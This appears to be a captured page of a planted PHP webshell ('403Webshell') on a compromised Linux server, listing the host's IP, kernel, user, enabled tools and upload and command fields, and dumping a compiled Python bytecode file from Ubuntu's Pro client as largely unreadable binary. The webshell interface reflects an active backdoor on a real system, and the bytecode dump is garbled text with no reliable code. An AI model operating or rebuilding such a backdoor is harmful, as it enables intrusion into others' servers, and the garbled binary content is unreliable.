403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/cli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/cli/__pycache__/enable.cpython-314.pyc
+
�m�iAK��r�^RIt^RIt^RIHtHtHtHtHt^RIH	t	H
t
HtHtH
t
HtHtHtHtHt^RIHtHt^RIHtHtHt^RIHtHt^RIHt^RIH t ^R	I!H"t"H#t#H$t$^R
I%H&t&^RI'H(t(]PR!]PT!]+44t,]!RR
]-3R]-3R]]].]3,,3.4t/RRlt0R3RRllt1RRlt2RRlt3RRlt4] Pj] Pl] Pn!] Pp4RRl444t9]$!R]Pt]Pv]9]&Px^]#!]"!R]PzP}RP]P�!]
P�!4R74R 7R!R"R#7]"!R$]P�R%R&7]"!R']P�P}RR(7R%R&7]"!R)]P�R%R&7]"!R*]P�R%R&7]"!R+]P�P}R,R-7R!R,R..R,R/7]"!R0]P�R!R&7.R17.R27tHR#)4�N)�Any�Dict�List�
NamedTuple�Optional)
�api�config�contract�entitlements�event_logger�
exceptions�lock�messages�status�util)�ServiceWithDependencies�
_dependencies)�
EnableOptions�EnableResult�_enable)�EnabledService�_enabled_services)�_is_attached)�cli_util)�ProArgument�ProArgumentGroup�
ProCommand)�HelpCategory)�
machine_token�_EnableOneServiceResult�success�needs_reboot�errorc�P�V^8�dQhR\PR\R\/#)��cfg�variant�
assume_yes)r	�UAConfig�str�bool)�formats"�5/usr/lib/python3/dist-packages/uaclient/cli/enable.py�__annotate__r.0s*�� 
� 
�	��� 
�
� 
�� 
�c
��\P!V4p\P!V4p\P
!WP
44pV'gV!\P4R#\V4Pp\V4PpVF!p	\VV	PVRVVRVVR7	K#	R#)NF)	r&�ent_namer'�access_onlyr(�json_output�
extra_args�enabled_services�all_dependencies)r�&create_interactive_only_print_functionr�get_machine_token_filer
�get_enabled_by_default_servicesrr�NO_SERVICES_TO_AUTO_ENABLErr5r�services�_enable_one_service�name)
r&r'r(r3�interactive_only_print�machine_token_file�services_to_be_enabledr5r6�enable_by_default_services
&&&&      r-�_auto_enable_servicesrB0s���&�L�L����'�=�=�c�B��%�E�E��
,�
,�
.���"��x�B�B�C��(��-�>�>��$�S�)�2�2��%;�!���.�3�3���!�#��-�-�
	
�&<r/c�z�V^8�dQhR\PR\R\\P
,/#)r%r&r2�progress_object)r	r)r+rr�AbstractProgress)r,s"r-r.r.Ss5��)�)�	���)��)��c�2�2�3�	)r/c��\P!V4p\P!VRVVR7pRpRp\P
!RR7;_uu_4VP
VR7wrgRRR4T'gHTeTPeTPp	M\Pp	\P!RT	R7h\R..R.R	7# +'giLo;i \dp\P!4ThRp?ii;i)
a
Landscape gets special treatment because it currently not supported by our
enable API. This function is a temporary workaround until we have a proper
API for enabling landscape, which will happen after Landscape is fully
integrated with the contracts backend.
�	landscape)�called_namer2r4FNzcli.enable._enable_landscape)�lock_holder)�progress)�service�reason)�enabled�disabled�reboot_requiredr)r�ProgressWrapperr�LandscapeEntitlementr�	RetryLock�enable�	Exception�clear_lock_file_if_present�messager�GENERIC_UNKNOWN_ISSUEr
�EntitlementNotEnabledErrorr)
r&r2r4rDrJrGr!�fail_reason�erLs
&&&&      r-�_enable_landscaper[Ss����"�"�?�3�H��1�1�����	�I��G��K��
�^�^�6�
�
�$-�#3�#3�X�#3�#F� �G�
���"�{�':�':�'F� �(�(�F��3�3�F��3�3���
�	
���
��E�B���!
�
�����'�'�)�����s5�C$�C�*C$�C!	�C$�!C$�$D�/D�Dc��V^8�dQhR\PR\R\\,R\\
,R\R\R\/#)r%r&rKr6r5rHr'�
service_title)r	r)r*rrr)r,s"r-r.r.sf��Y�Y�	���Y�
�Y��2�3�Y��>�*�	Y�
�Y��
Y��Yr/c�\aa�.p.pVU	u.uFq�PNK	p
p	\V3RlV4R4pVeqVPU	u.uF"p	V	PV
9gKV	PNK$	pp	VPU	u.uF"p	V	PV
9gKV	PNK$	pp	VF�p\P
!VPRR7p
\P!W4p\PPVVR7pV
'g \P!VR7'dK�\P!VVR7h	VFpp\P!VV4p\PPVVR7p\P!VR7'dKZ\P !VVR7h	\VV3RlV4R4pVe�Se�\P!VSS4p\P!VSVP"4p\P
!VPRR7p
\PPVVR7pV
'g\P!VR7'g\P!VVR7hR#R#R#uup	iuup	iuup	i)c3�L<"�TFqPS8XgKVx�K	R#5i�N)r=)�.0�srKs& �r-�	<genexpr>�1prompt_for_dependency_handling.<locals>.<genexpr>�s����:�$�q���'�(9���$�s�$�
$Nz features.block_disable_on_enable)r	�
path_to_value)�service_being_enabled�incompatible_service)�msg)rf�required_servicec3�<"�TFApVPS8XgKVP'gK*VPS8wgK=Vx�KC	R#5ir`�r=�variant_enabled�variant_name)rarbrKr's& ��r-rcrd�sI����	
�%���v�v�� �
��!�!�
����'�)�	
�A�%�s�A�A�A�
A)r=�next�incompatible_with�
depends_onr�is_config_value_truer&r�	get_titler�INCOMPATIBLE_SERVICEr,�prompt_for_confirmationr
�IncompatibleServiceStopsEnable�REQUIRED_SERVICE�RequiredServiceStopsEnablerm)r&rKr6r5rHr'r]�incompatible_services�required_servicesrb�enabled_service_names�dependenciesrg�cfg_block_disable_on_enable�incompatible_service_title�user_msgri�required_service_titlerl�to_be_enabled_title�enabled_variant_titles&f&&&f&              r-�prompt_for_dependency_handlingr�s��������-=�>�-=��V�V�-=��>��:�$�:�D��L���"�3�3�!
�3���v�v�.�.�
�A�F�F�3�	�!
�"�,�,�
�,���v�v�2�2�
�A�F�F�,�	�
�!6��&*�&?�&?��7�7�<�'
�#�&2�%;�%;��&
�"��0�0�7�7�"/�!;�8�
��'�d�.J�.J��/
�/
��;�;�&3�%?��
�!6�(.��!-�!7�!7��=M�!N���,�,�3�3�"/�3�4�
���+�+��9�9��7�7�&3�!7��
�.��	
�%�	
�	
�	�O��"�w�':�*�4�4�S�'�7�K�� ,� 6� 6���/�6�6�!
��'+�&?�&?��7�7�<�'
�#��0�0�7�7�"5�!6�8�
��'�d�.J�.J��/
�/
��;�;�&9�%:��
�/
�(;�"��w?��!
��

s�J�	J$�!J$�J)�J)c�*�V^8�dQhR\R\\\3,R\\,R\\,R\\\\3,,R\\\\3,,R\/#)r%r3�
json_response�processed_services�failed_services�errors�warningsr!)r+rr*rr)r,s"r-r.r.�sx��
�
��
���S��>�
��S�	�
��#�Y�	
�

��c�3�h�� �
��4��S��>�"�

��
r/c��V'drVP4VP4V'dRMRVR&W!R&W1R&WAR&WQR&\\P!V\P
RR74R	#R	#)
r!�failure�resultr�r�r�r�T)�cls�	sort_keysN)�sort�print�json�dumpsr�DatetimeAwareJSONEncoder)r3r�r�r�r�r�r!s&&&&&&&r-�_print_json_outputr��sw������!�����/6�)�I�
�h��.@�*�+�+:�'�(�"(�h��$,�j�!�
��J�J���1�1��
�	
�r/c��V^8�dQhR\PR\R\R\R\R\R\\
\,,R\
\,R	\
\,R
\/
#)r%r&r1r'r2r(r3r4r5r6�return)	r	r)r*r+rrrrr )r,s"r-r.r.�s���_
�_
�	���_
��_
��_
��	_
�
�_
��
_
���c��#�_
��>�*�_
��2�3�_
��_
r/c	�aa�\P!V4p	\P!VVSVVR7p
V
PoV
P
p\
VV3RlV4R4pVe�\PPVR7p
V	!V
P4V	!\PPVR74\RRRRRVRV
PRV
P/R	7#V'g\VSVVVSVR
7V'dRpM\P$!VR7pSR8Xd\'VVVVR
7pM\)\+VSVR7VVR7p\,P,!VR7V'd(V	!\P.PVR74M&V	!\P0PVR74VP2pV'd'V	!\P4PRR74VPFpV	!V4K
	\RVRR	7# \Pdfp\ P#T4T	!TP4T	!\PPTR74\RRRR	7uRp?#Rp?ii;i \P6dpTP8R,pTR,pTR,pTR,pT	!T4T	!\PPTR74\RRRRRTRTRTRT/R	7uRp?#Rp?i\PdypT	!TP4T	!\PPTR74\RRRRRTRTPRTP:RTP8/R	7uRp?#Rp?ii;i))r'r2r4c3�<"�TFIpVPS8XgKS'd(VP'gK2VPS8XgKEVx�KK	R#5ir`rk)rarb�	real_namer's& ��r-rc�&_enable_one_service.<locals>.<genexpr>sL����	
�%���v�v��"�
���%�%�
�
+,�.�.�G�*C�
�A�%�s�A�A�A�A�

AN)�titleF�typerKrV�message_code)r!r"r#)rHr'r])r(rG)r4rD)rKr'r2)rD�r&�install)�	operationTrL�coder��additional_info)rr7r�entitlement_factoryr=r�rnr�ALREADY_ENABLEDr,rh�
ENABLE_FAILEDr r�r
�UbuntuProError�LOG�	exception�CLIEnableDisableProgressr[rrr�ACCESS_ENABLED_TMPL�ENABLED_TMPLrO�ENABLE_REBOOT_REQUIRED_TMPLrXr��msg_code)r&r1r'r2r(r3r4r5r6r>�ent�	ent_title�already_enabledrhrZrJ�
enable_resultr"rVrL�err_code�err_msg�err_infor�s&&f&&&&&&              @r-r<r<�s����&�L�L�����
*�
*�������C����I��	�	�I��	
�%�	
�	
��O��"��&�&�-�-�I�-�>���s�w�w�'��x�5�5�<�<�9�<�M�N�&����	��8��3�7�7�����	�	
�		
��	�*��� � �$��'�
�*S
���H��8�8�J�O�H���#�-���%� (�	�M�$��$�#� +��
� (��M�	�
�
�#���"��,�,�3�3�)�3�D�
�
#��%�%�,�,�9�,�=�
�%�4�4���"��4�4�;�;�'�<��
�%�-�-�G�"�7�+�.�'��%��
�	
��u�(�(�
	��M�M�!��"�1�5�5�)�"��&�&�-�-�I�-�>�
�+��"���
��
	��@�0�0�
��"�"�8�,���&�>����/���+�,���w�'��x�5�5�<�<�9�<�M�N�&����	��8��7���!�8��

�
	
���$�$�

��q�u�u�%��x�5�5�<�<�9�<�M�N�&����	��8��1�5�5���
�
�!�1�#4�#4��

�
	
��

�sl�2H'�J$�
A)J$�7A J$�AJ$�'J!�<AJ�J!�J!�$O�9A3L2�,O�2O�	O�
A-N=�7O�=Oc�$�V^8�dQhR\/#)r%r�)�int)r,s"r-r.r.�s��Y�Y�S�Yr/c�B�.p.p.p.pR\PRR/pVPR8Hp\P!V4p	\VRR4p
VPpVPpVPp
V
'd!V'd\P!RRR	7hV
'd!V
'd\P!RR
R	7hV'd!V
'd\P!RR
R	7hV	!\P4\P!VRR7\/V4P0'gg\P2!4pV	!VP*4VP'RRRVP*RVP4/4\7VVVVVVRR7^#V
'd\9VRR
VR7#\VR.4pV'g\P:!4h\<P>!W�4wpp\AV4PBp\EV4PFpR
p\<PH!VV4F�p\KVVV
VVVVPMR4VV4	pVPN'd-VP'V4VPP'dR
VR&KaKcRpVP'V4VPRfK�VP'VPR4K�	V'doRpVV,
p\<PT!VVR7pV	!VP*4VP'RRRRRVP*RVP4RVPV/4\PX!V4pVP[4\7VVVVVVVR7V'd^#^# \P\P 3dc\"P%RR
R7TP'RRR\P(P*R\P(P,/4ELi;i)zVPerform the enable action on a named entitlement.

@return: 0 on success, 1 otherwise
�_schema_versionr"Fr�r'��
--access-only�	--variant)�option1�option2�--auto)�verbosezFailed to refresh contractT)�exc_infor��systemrVr�)r!)r&r'r(r3rKr4Nr�r�).r�JSON_SCHEMA_VERSIONr,rr7�getattrr2r(�autor
�InvalidOptionCombinationr�REFRESH_CONTRACT_ENABLEr
�refresh�ConnectivityErrorr�r��warning�append�E_REFRESH_CONTRACT_FAILURErhr=r�is_attached_and_contract_valid�ContractExpiredErrorr�r�rB�NoServicesToEnabler�get_valid_entitlement_namesrr5rr;�order_entitlements_for_enablingr<�getr!r"r#�*create_enable_entitlements_not_found_errorr��UAContractClient�update_activity_token)�argsr&�kwargsr�r�r�r�r�r3r>r'r2r(r��expired_err�names�entitlements_found�entitlements_not_foundr5r6�retr1r��err�contract_clients&$,                      r-�
action_enabler��s������O�
�F��H�	�<�;�;����M�
�+�+��'�K�
&�L�L�����d�I�r�*�G��"�"�K����J��9�9�D��;��1�1�#�[�
�	
��4��1�1���
�	
��t��1�1�#�X�
�	
��8�;�;�<�
�����e�,����;�;�;� �5�5�7���{���/��
�
����;�?�?��� 4� 4�
�	
�	��������	
���$����#�	
�	
�
�D�)�R�(�E���+�+�-�-�
	�0�0��<����(��-�>�>��$�S�)�2�2��
�C� �@�@��
���%��������J�J�|�$���

���>�>�>��%�%�h�/��"�"�"�04�
�n�-�#��C��"�"�8�,��|�|�'��
�
�f�l�l�+�-�0����1�1���E�E�"��
��	�s�w�w�'��
�
����4��3�7�7�����!�3�#6�#6�
�	
��/�/��4�O��)�)�+�����������1�����U
�(�(�*�*C�*C�D�	
����0�4��@�������8�>�>�B�B��� C� C� H� H�
�	
�	
�s�N�BP�PrSrKz, r�)�options�store�*)�help�action�nargsr��
store_true)r�r�z--assume-yes)�commandr�z--betaz--format�cli)�defaultr�)r�r��choicesr�r�)�	arguments)r��descriptionr��
help_category�
help_position�argument_groupsr`)Ir��logging�typingrrrrr�uaclientrr	r
rrr
rrrr�+uaclient.api.u.pro.services.dependencies.v1rr�%uaclient.api.u.pro.services.enable.v1rrr�-uaclient.api.u.pro.status.enabled_services.v1rr�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.clir�uaclient.cli.commandsrrr�uaclient.cli.parserr�uaclient.filesr�	getLogger�replace_top_level_logger_name�__name__r�r+r*r rBr[r�r�r<�verify_json_format_args�assert_root�assert_attached�&_raise_enable_disable_unattached_errorr��CLI_ROOT_ENABLE�CLI_ENABLE_DESC�
QUICKSTART�CLI_ENABLE_SERVICEr,�join�valid_servicesr)�CLI_ENABLE_ACCESS_ONLY�CLI_ASSUME_YES�CLI_ENABLE_AUTO�CLI_ENABLE_BETA�CLI_FORMAT_DESC�CLI_ENABLE_VARIANT�enable_command�r/r-�<module>rsL����8�8�������
�B�!�K�K�,�(�
����:�:�8�D�E��$��	�D��	���	�(�4��S��>�*�+���� 
�F)�XY�x
�8_
�D
�!�!�	���	���(�I�I�J�Y�K��"�Y�x��	�	!�	!��(�(���)�)�����!�4�4�;�;� $�	�	�(�7�7�F�O�O�<M�N�!�<��
#��	��#�!�8�8�'��
�"�!�0�0�7�7��7�I�'��
��!�1�1�'��
��!�1�1�'��
��!�1�1�8�8��8�G�"�"�F�O�!����!�4�4�"��M+�-	
�/�7�r/

Youez - 2016 - github.com/yon3zu
LinuXploit